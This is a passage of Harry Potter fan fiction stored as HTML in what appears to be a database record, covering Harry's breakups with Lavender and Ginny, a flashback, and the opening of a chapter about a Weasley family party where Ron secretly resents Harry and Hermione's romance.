thought you would like me\n    so I never said anything.”</i></p><p class="MsoNormal"><i>“Well I do like you Lavender, I’ve\n    liked you for months.” Harry glanced down at his feet.</i></p><p class="MsoNormal"><i>“Why didn’t you say anything?” She\n    asked her eyes lit up with happiness.</i></p><p class="MsoNormal"><i>Harry shrugged, “I’m not too good\n    with expressing how I feel.” </i></p><p class="MsoNormal"><i>“Well we are alike in that regard.”\n    Lavender glanced at the floor, “so what happens now?”</i></p><p class="MsoNormal"><i>“How about we spend sometime\n    together, like a—a date maybe?” Harry asked. “This Saturday?”</i></p><p class="MsoNormal"><i>Lavender smiled, “Oh I would love\n    that. Saturday is going to be so much fun.” Without thinking she leaned up\n    and kissed him lightly on the cheek. Her face flushed and she ran out of\n    the room.</i></p><p class="MsoNormal"><i>Harry watched her go and smiled, he\n    was very happy.</i></p><p class="MsoNormal"><b><i>****</i></b></p><p class="MsoNormal"><i>Harry and Lavender had been dating\n    for weeks, it was a fun and lovely relationship. Harry glanced about her\n    face as she was eating lunch. He wondered if something was missing, but he\n    also felt very happy around her. </i></p><p class="MsoNormal"><i>Lavender looked up at him as she\n    felt him staring at her. “Is something the matter?”</i></p><p class="MsoNormal"><i>“Lavender, I’ve been thinking.”</i></p><p class="MsoNormal"><i>“Well so have I, I want, well..”\n    She started blushing bright red. “I think, I want to you know.”</i></p><p class="MsoNormal"><i>Harry started blushing too, “Oh you\n    want to.” He couldn’t help the bright red cheeks, as he thought about it.\n    “Do you really want to, I mean I—”</i></p><p class="MsoNormal"><i>“Well unless you don’t want to I\n    would understand.” Lavender said interrupting him.</i></p><p class="MsoNormal"><i>“Oh no, it’s not that. It’s just.”\n    He leaned forward so close so that only she could hear him, “I have never\n    done that before.” He said.</i></p><p class="MsoNormal"><i>“Well neither have I,” She glanced\n    at her fingers, “Do you want to?” Lavender said in a quiet whisper. </i></p><p class="MsoNormal"><i>Harry nodded slowly and he saw\n    Lavender smile.</i></p><p class="MsoNormal"><i>“Okay then tonight when Hermione\n    leaves for her midnight snog with Justin—”</i></p><p class="MsoNormal"><i>“She what?” Harry interrupted.</i></p><p class="MsoNormal"><i>“Oh didn’t you know? Hermione\n    always leaves at about midnight and doesn’t come back for hours. She told\n    me in confidence of course not to tell Parvati, which I haven’t. But she\n    goes to spend quality time with Justin in the astronomy tower.” Lavender\n    replied with a smile. “Those two are just so adorable.” She noticed he\n    looked shocked. “Is everything alright?”</i></p><p class="MsoNormal"><i>“Yes, yes of course.” Harry smiled.\n    “I just didn’t think Hermione would do anything against the rules like\n    that. Imagine sneaking out in the middle of the night like that for shame.”\n    He teased.</i></p><p class="MsoNormal"><i>“Well her bed is right next to\n    mine, so I hear when she’s leaving and when she’s coming back. But you can\n    sneak into the girl’s room my bed is second from the door, and then I’ll make\n    do with the silencing charm. What do you think?”</i></p><p class="MsoNormal"><i>Harry smirked, “It seems like\n    you’ve been planning this awhile.”</i></p><p class="MsoNormal"><i>“Well.” Lavender’s cheeks flushed\n    an attractive pink, “Perhaps I do think about that sort of thing often so I\n    created some sort of plan in my mind.”</i></p><p class="MsoNormal"><i>“So that’s the plan then?” Harry\n    asked just to be sure.</i></p><p class="MsoNormal"><i>“Unless you have a better one?”</i></p><p class="MsoNormal"><i>“No I don’t.” Harry replied\n    honestly. “Well I gotta get to the library before Hermione checks out all\n    the books, I need something on sour funguses and what their uses are.” He\n    leaned in a kissed her lightly on the lips and stood.</i></p><p class="MsoNormal"><i>“Snape is just so gross when it\n    comes to potion ingredients.” Lavender felt sick.</i></p><p class="MsoNormal"><i>“I’ll see you later.” Harry said\n    with a smile and then headed for the library.</i></p><p class="MsoNormal"><b><i>****</i></b></p><p class="MsoNormal"><i>The door to the girl’s dorm opened\n    and a figure came through, Harry stood there in his invisibility cloak as\n    he watched Hermione pull the hood up on her black cloak and look around in\n    both directions.</i></p><p class="MsoNormal"><i>‘Oh Hermione I hope you know what\n    you’re doing?’ Harry thought to himself. He then thought that what was he\n    worried about Justin was harmless, he would treat her right. And besides\n    Justin knew if he didn’t treat her right Harry here would beat him to a\n    pulp in seconds flat. Harry watched as Hermione moved from the door he\n    quickly stood in the doorframe as Hermione practically flew down the stairs\n    as if walking on air. </i></p><p class="MsoNormal"><i>Hermione took one last look up at\n    the girl’s dorm door, it closed and she smiled. She left through the\n    portrait hole off to meet her wonderful boyfriend in the astronomy tower.</i></p><p class="MsoNormal"><i>Harry saw Lavender sit up from her\n    bed and he walked closer to her. He quickly removed the cloak and he saw\n    her smile. Lavender waved her wand around her speaking quietly, then with\n    her dainty hand she motioned him over. Harry rushed to her side and sat\n    down on her bed facing her. Lavender pulled the curtains around her bed and\n    spoke the silencing charm. She set her wand outside of the curtains on the\n    table next to the bed.</i></p><p class="MsoNormal"><i>“alright I took care of everything\n    necessary so we don’t have any unexpected problems.” Lavender said with a\n    smile.</i></p><p class="MsoNormal"><i>Harry figured she must have made\n    sure that she would not end up getting pregnant. He tucked his legs under\n    him and leaned forward. “Are you sure you want to do this Lavender? Because\n    if you don’t it’s fine.”</i></p><p class="MsoNormal"><i>“No I want to.” Lavender leaned\n    forward and pressed her lips to his. She felt his arms go around her\n    pulling her against him. Harry’s mouth opened hers and he kissed her\n    stronger, harder. The feelings were much different then before. They were\n    used to giving each other slow and soft kisses, these were powerful and\n    desperate. Desperate to feel. Desperate to taste. Desperate to learn. And\n    most of all Desperate to please.</i></p><p class="MsoNormal"><i>Harry’s hands were shaking\n    nervously as the wandered about her back, he gently pushed her back onto\n    the bed. His hands and fingers moved over her, exploring every sensitive\n    spot to her favorite place where she liked to be tickled. In an instant\n    both their clothing where shed and they explored the first experiences\n    between a man and a woman.</i></p><p class="MsoNormal"><b><i>****</i></b></p><p class="MsoNormal"><i>About two weeks have passed since\n    Lavender and Harry shared their first experiences together, and they have\n    been together a few more times after that.</i></p><p class="MsoNormal"><i>Lavender heard a scream followed by\n    a laugh coming from the Hufflepuff’s table. She recognized the voice as\n    Hermione’s. She turned and saw the girl jump up from next to Justin with a\n    large smile on her face. She had some white cream in her hand and she\n    rubbed it all over Justin’s face.</i></p><p class="MsoNormal"><i>Harry also heard the commotion and\n    looked over he saw what Hermione had done, and she was smiling so brightly.\n    He saw Justin stand with a bowl of what looked like red jello in his hand\n    and advanced towards his bushy haired friend with a smile on his face as\n    well. He watched as Hermione turned and fled the Great Hall with Justin\n    trailing after her with that bowl full of jello. </i></p><p class="MsoNormal"><i>“They haven’t even slept together\n    yet.” Lavender said disrupting Harry’s friend watching.</i></p><p class="MsoNormal"><i>“What?” Harry was sure they had,\n    Hermione and Justin were so comfortable with each other. “Are you sure?”</i></p><p class="MsoNormal"><i>“Positive, Hermione doesn’t lie and\n    I don’t expect her to.” Lavender replied. “Harry we have to talk.”</i></p><p class="MsoNormal"><i>“Uh-oh I know that tone.” Harry\n    said looking down into his plate. </i></p><p class="MsoNormal"><i>“Harry, are you happy with me?”\n    Lavender asked.</i></p><p class="MsoNormal"><i>“Of course I am.” Harry answered.</i></p><p class="MsoNormal"><i>“No, honestly. Are you happy?” She\n    asked again, her eyes staring right into his. “Because I’m not.”</i></p><p class="MsoNormal"><i>Harry felt like he couldn’t hear,\n    her voice sounded so far away. “What do you mean?”</i></p><p class="MsoNormal"><i>“Harry darling I care about you, I\n    do. But don’t you feel that something is well missing?” Lavender was very\n    serious.</i></p><p class="MsoNormal"><i>Harry glanced down again, “I, I\n    honestly don’t know.</i></p><p class="MsoNormal"><i>“I watch Hermione everyday, she is\n    always so happy. Even though her and Justin only see each other for a few\n    hours a day, she always looks like she’s having a good time. And they\n    haven’t even been intimate yet. I look at us, our lives together and I\n    don’t feel the same happiness that I see in her.”</i></p><p class="MsoNormal"><i>Harry thought a minute, it was true\n    Hermione and Justin did look ten times happier then he felt. Sure he noted\n    that there was something just a little off about his and Lavender’s\n    relationship. She was right, something was missing. “So what do we do now?”\n    He looked up at her.</i></p><p class="MsoNormal"><i>“I think that we are no good like\n    this, we will end up hating each other Harry. And I would never want us to\n    hate each other. We should not be together, not like this anyway.”\n    Lavender’s eyes were swelling with tears. “We should find whatever makes us\n    feel complete.”</i></p><p class="MsoNormal"><i>“We’re breaking up then.” Harry\n    glanced down to once again stare into his plate, he didn’t want his eyes to\n    start watering. So he pushed back the tears that were threatening to form.\n    “You are right Lavender, we should find whatever or whoever makes us feel\n    complete.”</i></p><p class="MsoNormal"><i>“I’m sorry Harry.” Lavender\n    sniffled.</i></p><p class="MsoNormal"><i>“So am I, but it is for the best.”\n    He replied, if he didn’t leave now the tears would definitely spill over.\n    “Well it’s been grand while it lasted.” Harry smiled and he saw her smile\n    just a little. He stood and quickly left the Great Hall.</i></p><p class="MsoNormal"><i>Harry opened the doors and saw\n    Justin and Hermione locked in a passionate embrace on the stairs. Hermione\n    matched his height as she was on a step above him. Harry was very depressed\n    and now that scene before him of a happy couple was just irritating him.\n    “Will you two stop that for one minute!” Harry shouted.</i></p><p class="MsoNormal"><i>Justin and Hermione pulled apart\n    and looked at him astonished and shocked for using such a tone.</i></p><p class="MsoNormal"><i>Hermione was about to speak her\n    mind when she saw tears in his eyes, some had already trickled down his\n    cheeks. Her heart softened, “Oh Harry what happened?”</i></p><p class="MsoNormal"><i>Harry watched as Justin leaned over\n    and whispered something in her ear, Justin pulled back and gave her a quick\n    kiss on the cheek and headed back into the Great Hall. Harry approached her\n    and looked her straight in the eye. “Lavender and I, we aren’t together\n    anymore.” </i></p><p class="MsoNormal"><i>Her arms quickly went around him,\n    and she pulled him to her in a tight embrace. Hermione felt his arms also\n    go around her just as tightly while she let him shed his tears on her\n    shoulder. “I am so sorry Harry. You really cared about her didn’t you?” She\n    spoke softly into his ear as her fingers also threaded through his hair\n    making him feel comfortable.</i></p><p class="MsoNormal"><i>Harry nodded, “I did care about\n    her. A lot” He sniffled.</i></p><p class="MsoNormal"><i>Hermione moved her hand away an\n    inch when Harry spoke again.</i></p><p class="MsoNormal"><i>“Keep doing that, please?” He\n    asked.</i></p><p class="MsoNormal"><i>“What, this?” She moved her fingers\n    through his hair again and he nodded. Hermione continued to massage his\n    scalp with her gentle fingers. “Alright, whatever you want.” She continued\n    to speak soft soothing words into his ear, “You’ll be alright Harry, I know\n    you will.”</i></p><p class="MsoNormal"><i>They just stood there, Hermione\n    easing his great sadness. Harry didn’t know what he would do without her. </i></p><p class="MsoNormal"><b><i>****</i></b></p><p class="MsoNormal"><i>The months passed, as Harry had a\n    few other relationships, nothing too much or too grand, all very nice and\n    lovely relationships. </i></p><p class="MsoNormal"><i>Both Ron and Harry were walking\n    about the school grounds, it had been a few days since he and Ginny had\n    parted ways. She said to him that he didn’t seem happy with her, and that\n    it appeared he was always looking for something else, and she just wasn’t\n    it. They haven’t really talked to each other since. </i></p><p class="MsoNormal"><i>Ron was a bit miffed every girl he\n    wanted Harry seemed to snag up. It just wasn’t fair. They both came across\n    Hermione and Justin, Hermione was looking down at the ground her arms\n    crossed protectively in front of her. Even though they were quite a\n    distance away, the two weren’t whispering, their voices carried over the\n    grassy lawn. </i></p><p class="MsoNormal"><i>“I understand, believe me.”\n    Hermione said.</i></p><p class="MsoNormal"><i>“I am sorry Hermione, we just aren’t\n    right for each other.” Justin said also glancing down. He lifted his hands\n    and rested them on her arms.</i></p><p class="MsoNormal"><i>She nodded, “I know.” Hermione\n    looked up at him with a tiny smile on her face. “We did have fun though\n    didn’t we?”</i></p><p class="MsoNormal"><i>“Oh absolutely.” Justin smiled, “I\n    know you’re better suited for someone else, and it isn’t me. I don’t know\n    why I didn’t see it before. But I see it now.”</i></p><p class="MsoNormal"><i>Now Hermione was confused. “What do\n    you mean, I don’t understand.”</i></p><p class="MsoNormal"><i>“You will, I’m sure given enough\n    time you will come to understand what I mean.” Justin lifted his hand and\n    brushed her cheek with gentle fingers. “Well you were my first real\n    girlfriend Hermione, and I your first real boyfriend. That is something\n    that will stay with me for the rest of my life.” He smiled. “I hope we can always\n    be friends?”</i></p><p class="MsoNormal"><i>“I wouldn’t have it any other way.”\n    Hermione felt the tears start to form in her eyes.</i></p><p class="MsoNormal"><i>“Oh don’t cry Hermione, you know\n    I’m weak against that.” Justin smiled and he took her in his arms one last\n    time.</i></p><p class="MsoNormal"><i>“I’ll be alright Justin, don’t\n    worry about me.” She pulled back and looked up at him. “I am going to miss\n    us though.”</i></p><p class="MsoNormal"><i>“So will I, but this is for the\n    best. You will thank me later for it.” He gave her a soft smile and kissed\n    her lightly on the cheek. And turned to go.</i></p><p class="MsoNormal"><i>Hermione sighed and she turned to\n    walk away from hers and Justin’s spot. She saw her two best friends coming\n    towards her. “Hey guys,” she said with a smile but her eyes were spilling\n    with tears.</i></p><p class="MsoNormal"><i>“Another relationship biting the\n    dust.” Harry said.</i></p><p class="MsoNormal"><i>Hermione wiped her eyes, “Yes.” She\n    turned to Ron, “Can you give me and Harry a little space I kinda want to\n    talk to him privately.”</i></p><p class="MsoNormal"><i>“Why can’t I stick around, what do\n    you have to say to him that you can’t say in front of me?” Ron felt\n    offended.</i></p><p class="MsoNormal"><i>“It’s mushy Ron, you would just end\n    up leaving anyway.” Hermione replied with a little half smile.</i></p><p class="MsoNormal"><i>“You don’t know that, try me.” Ron\n    said.</i></p><p class="MsoNormal"><i>“Okay.” Hermione, “Justin and I\n    broke up, this was the first relationship I;ve ever had. I am going to miss\n    him a lot.”</i></p><p class="MsoNormal"><i>“As much as I missed Lavender all\n    those months ago?” Harry asked.</i></p><p class="MsoNormal"><i>“Probably more so, I was with him\n    for a long time I sort of got used to him being around, and now it’s like I\n    have this empty feeling. There’s a big hole.” </i></p><p class="MsoNormal"><i>“Did you love him?” Harry asked carefully,\n    he didn’t want to overstep his bounds with getting into personal territory.</i></p><p class="MsoNormal"><i>“I didn’t think it was love yet, I\n    mean it was pretty darn close. I don’t know what its like to really be in\n    love with someone, I guess there’s no set rules for love, but how are we to\n    even know what the feelings are suppose to be like.” Hermione sighed. “I\n    felt strongly for him, so strongly.”</i></p><p class="MsoNormal"><i>Harry quickly wrapped his arms\n    around her, as his friend needed a hug. He pulled her close. “I know\n    exactly what you mean, Lavender was the only girl that I really, really\n    cared for. I mean sure other relationships came and went, and I was happy\n    for awhile. But nothing will be the same—”</i></p><p class="MsoNormal"><i>“I’m going back inside.” Ron said\n    interrupting. Hermione was right, this was getting far to emotional for\n    him. He started walking ahead and he turned one last time. A thought popped\n    into his head. He knew of someone Harry would never be able to have. Their\n    best friend Hermione. That was it. He could win Hermione’s affections and\n    then he would finally have something that Harry didn’t. Oh yes what an idea\n    he had, and it wouldn’t be that strange, they were already good friends.\n    Now all he needed was a plan and Hermione would become his and not Harry’s.\n    With a smile Ron continued back towards the school.</i></p><p class="MsoNormal"><i>“Don’t worry Hermione, there will\n    be someone else who is just perfect for you.” Harry said with a smile.</i></p><p class="MsoNormal"><i>“You think so?”</i></p><p class="MsoNormal"><i>“I do, there is someone out there\n    just for you and just for me too.” He pushed her back from him a bit, and\n    looked her in the eye. “We just have to figure out who that person is. Then\n    these failed relationships will mean nothing in the end, because you have\n    to wade through the wrong ones to get to the right one.” </i></p><p class="MsoNormal"><i>“You are getting smarter you know.”</i></p><p class="MsoNormal"><i>“I think your influence is rubbing\n    off on me.” He smiled.</i></p><p class="MsoNormal"><i>“And that’s a very good thing.”\n    Hermione returned the smile. And they stood there in each others arms\n    talking about how miserable they had been.---- </i></p><table class="MsoNormalTable">\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n</table>\n<p class="MsoNormal"></p>\n<p class="MsoNormal"><b>*~*~ End\n  Flashback~*~*</b></p>\n<p class="MsoNormal">The clock on Ronís nightstand said it was six\n  thirty, Harry shook his head of the memories. He now knew for that it has\n  always been Hermione, the one that heís loved. Even though he told her that\n  outside, he felt it more so now. They were the ones always there for each\n  other. Friends first, that was the important thing. Harry nodded agreeing\n  with his thoughts. It was time to head down the stairs to the living room.</p>\n<p class="MsoNormal">=====</p>\n<p class="MsoNormal">Ah sorry guys, not too much comedy in this chapter,\n  more angsty if you ask me. Well anyway. There will be much more comedy in the\n  next chapter. Chapter 9:Itís A Celebration. Many more of the twinís pranks in\n  that one friends, I have really funny funny things planned. So I hope you\n  stay tuned. Itís going to be fun. Read and Review thanks Ryoko </p>\n<p class="MsoNormal"> </p>\n\n<p class="MsoNormal"> </p>\n'),
	(14, 9, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Disclaimer:\nAll original Harry Potter characters belong to J.K. Rowlings, not me. *sigh* Oh\nwell.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in;background:white" align="center">One Hot Summer</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in;background:white" align="center">Chapter 9&#8212;It&#8217;s a Celebration</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Mrs. Weasley came\nout of her room and walked into the living room, where Mr. Weasley, Fred and\nGeorge, Harry and Ron were waiting.&nbsp; Mrs.\nWeasley looked so proud and happy.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Mr. Weasley\nlooked up at his wife, &#8220;are we ready to go yet?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;In a minute,\nHermione is still getting into her gown.&nbsp;\nThe way it looked on the hanger was really pretty.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Why do girls\nhave to take so long in getting ready for functions like these?&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh just be\npatient Ron, we aren&#8217;t in that much of a rush.&#8221;&nbsp;\nMr. Weasley said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry glanced\nabout the boys; he could have sworn that Ron just glared at him.&nbsp; But it was so quick that he just dismissed\nit.&nbsp; He noticed that Ron seemed a little\ntense, for the red head&#8217;s fists were clinched at his sides.&nbsp; Perhaps he was just nervous about the\nparty.&nbsp; Oh well Harry shrugged.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron held his eyes\nstraight, glaring at the door.&nbsp; Right now\nhe really hated Harry, how dare he take something that he wanted.&nbsp; He always did that.&nbsp; Hermione was to be his, not Harry&#8217;s.&nbsp; He wanted to hurt him, really bad.&nbsp; But he kept himself calm.&nbsp; He was about to turn to Harry and throw him\nanother glare but Hermione came through the arch way.&nbsp;&nbsp;&nbsp; She was in a strapless gown made of dark\nblue velvet, it hugged her form perfectly flowing down to her matching shoes.&nbsp; She was wearing a diamond chocker around her\nneck and her hair was pulled back in a neat bun with a diamond ring fitting\naround her dark hair.&nbsp; Ron&#8217;s eyes widened\nas he felt himself reacting to her, he started fidgeting about, and wiggling\naround trying to get comfortable.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred and George\nnoticed their brother&#8217;s reaction to Hermione and they immediately both had a\nplan, they started whispering among themselves.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron tilted his\nhead to the side, &#8216;<i style="mso-bidi-font-style:normal">I wonder how easy it\nwould be to get her out of that gown, bet I could do it really fast.&#8217; </i>He\nshifted again.&nbsp; Ron heard a loud and\namazed &#8220;WOW&#8221; from next to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Everyone turned\nand looked at Harry, he even heard some sniggering as he felt the redness of\nembarrassment rush to his cheeks. <i style="mso-bidi-font-style:normal">&#8216;I\nthink they heard me.&#8217;</i>&nbsp; He thought to\nhimself.&nbsp; He shook his head, trying to\nignore the laughing Weasleys.&nbsp; He looked\nat Hermione seeing her face flushing as well; she was looking towards the\nground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Do I really look\nthat good?&#8221; She asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes.&#8221; Mostly\neveryone replied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione couldn&#8217;t\nhelp the smile that graced her face; she lifted her head and found Harry just\nstaring at her like he was in some kind of trance.&nbsp; She was smiling brighter now.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry inwardly\ngroaned, &#8216;<i style="mso-bidi-font-style:normal">God she looks beautiful!&#8217;</i>&nbsp; It took all his willpower not to grab her right\nthen and kiss her senseless.&nbsp; His fists\nclinched at his sides with the feelings of utter frustration traveled through\nhim.&nbsp; He wanted her so much right now,\nthat maybe they should just skip the party all together.&nbsp;&nbsp; Oh but that gown on her was breathtaking,\nshe looked like royalty.&nbsp; She looked much\ntoo good to be with him.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">But she is with you, she loves you.&nbsp; That&#8217;s right, she&#8217;s actually mine.&nbsp; Mine to hold, mine to kiss.&nbsp; Her heart is mine, she loves me.&nbsp; I am hers.&nbsp;\nHers to hold, hers to kiss. I love her.&nbsp;\nI love her smile, I love her fluffy hair, I love her thoughts.&nbsp; I love it when she can ease my pain, I love\nthe way she bites her lip when she&#8217;s concentrating.&nbsp; I LOVE HERMIONE!!&#8217;&nbsp; </i>Harry smiled without realizing how big\nhis smile had gotten.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Mr. Weasley\ncleared his voice, which still didn&#8217;t break Harry&#8217;s concentration on\nHermione.&nbsp; He smiled knowingly; he too\noften stares at his wife like that.&nbsp; The\nclock on the mantel dinged a few times and he was shaken from his\nthoughts.&nbsp; It was time to go. &#8220;Well then,\nif we are ready we should head on over.&#8221; Mr. Weasley replied cheerfully.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron was going to\nact, he was going to walk proudly with Hermione to the party.&nbsp; He stepped towards Hermione but Harry beat\nhim to it by gently taking her hand, Hermione gave Harry a soft smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Would you allow\nme to escort you to the celebration my lady?&#8221; Harry offered sweetly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh I would be\nhonored good sir.&#8221; She replied with a smile keeping with his playful tone.&nbsp; The two of them headed towards the fireplace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp; Ron felt himself twitching, as he stared at\nthe back of their heads. &#8216;<i style="mso-bidi-font-style:normal">No I must keep\ncontrol, I&#8217;ll get mine. I will that&#8217;s a promise.&#8217; </i>&nbsp;&nbsp;He too walked towards the fireplace where Ron\nshouted Percy Weasley&#8217;s House and he disappeared into the flames.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The Weasley&#8217;s followed\nby Harry and Hermione stepped out of the fireplace and into a grand ballroom\nwhere couples were dancing all over the place.&nbsp;\nPercy came forth from the crowd of people who were gathered around a\nvery pregnant Penelope.&nbsp; She was smiling\nbrightly and having a really good time while holding a glass of cranberry\njuice.&nbsp; Mrs. Weasley went right over to\nher and embraced her daughter-in-law.&nbsp;\nThey started talking.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Percy stepped up\nto his father and gave him a stiff hug and then pulled back looking at his brothers,\nhis eyes narrowed in Fred and George&#8217;s direction &#8220;Please no pranks tonight,\nthis night is really important to me.&#8221; His voice was trimmed with authority.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;We&#8217;ll see.&#8221; Fred\nreplied with a smirk</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">George gave off\nan identical smirk.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Percy looked at\nhis other brother Ron, who was very tense.&nbsp;\n&#8220;Is everything alright Ronald?&nbsp;\nYou seem distressed.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh no Percy,\neverything is just fine.&#8221; Ron answered through gritted teeth <i style="mso-bidi-font-style:normal">&#8216;it&#8217;s not everyday you find out your too\nbest friends are fucking behind your back.&#8217;</i> Ron forced a smile.&nbsp; He spotted a table full of food, that&#8217;s just\nwhat he needed. &#8220;I think I&#8217;ll help myself to the buffet table.&#8221;&nbsp; Ron passed through the crowd and disappeared.&nbsp; He was gone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Percy was going\naround talking to his guests as he gave a polite nod to both Harry and Hermione\nwho still had their hands clasped together.&nbsp;\nHe gave a smile then turned his attention directly to Hermione.&nbsp; &#8220;I heard you turned down Head Girl, I was\nwondering if it was just a rumor.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh it&#8217;s no\nrumor, I did turn it down.&#8221; Hermione smiled, she felt Harry&#8217;s thumb rubbing\nagainst her hand affectionately.&nbsp; She\nfelt her heart flutter with his simple touch.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Why did you do\nsuch a thing?&nbsp; It&#8217;s a great honor to be\nhead of class.&nbsp; You get your own room\naway from other noisy students.&#8221; Percy wondered, he was glad he didn&#8217;t turn it\ndown.&nbsp; Often he wondered why anyone would\nturn down Head of Class, especially if they wanted to go far in life.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;It&#8217;s also a lot\nof work; I don&#8217;t want to always be working. Especially my last year.&nbsp; I worked totally hard non stop I want to\nenjoy my last year.&nbsp; I let life pass me\nby because I was studying all the time.&#8221; Hermione said politely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well it&#8217;s your\ndecision, but you do know it looks good on records in looking for a career.&#8221;\nPercy offered with some kind of smile, if he were able to smile. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione often\nwondered if his face would crack if he smiled. She saw him turn and go join his\nwife with the other guests.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry sighed\ncaused Hermione to turn and look at him, he sighed again.&nbsp; &#8220;You know maybe you should have been head\ngirl, you get your own room.&#8221; He wiggled his eyebrows suggestively.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Harry, that\nwould be misuse of the privilege.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yeah I know but\nI want to be able to express my love for you, and well we just can&#8217;t do that\nwith other people 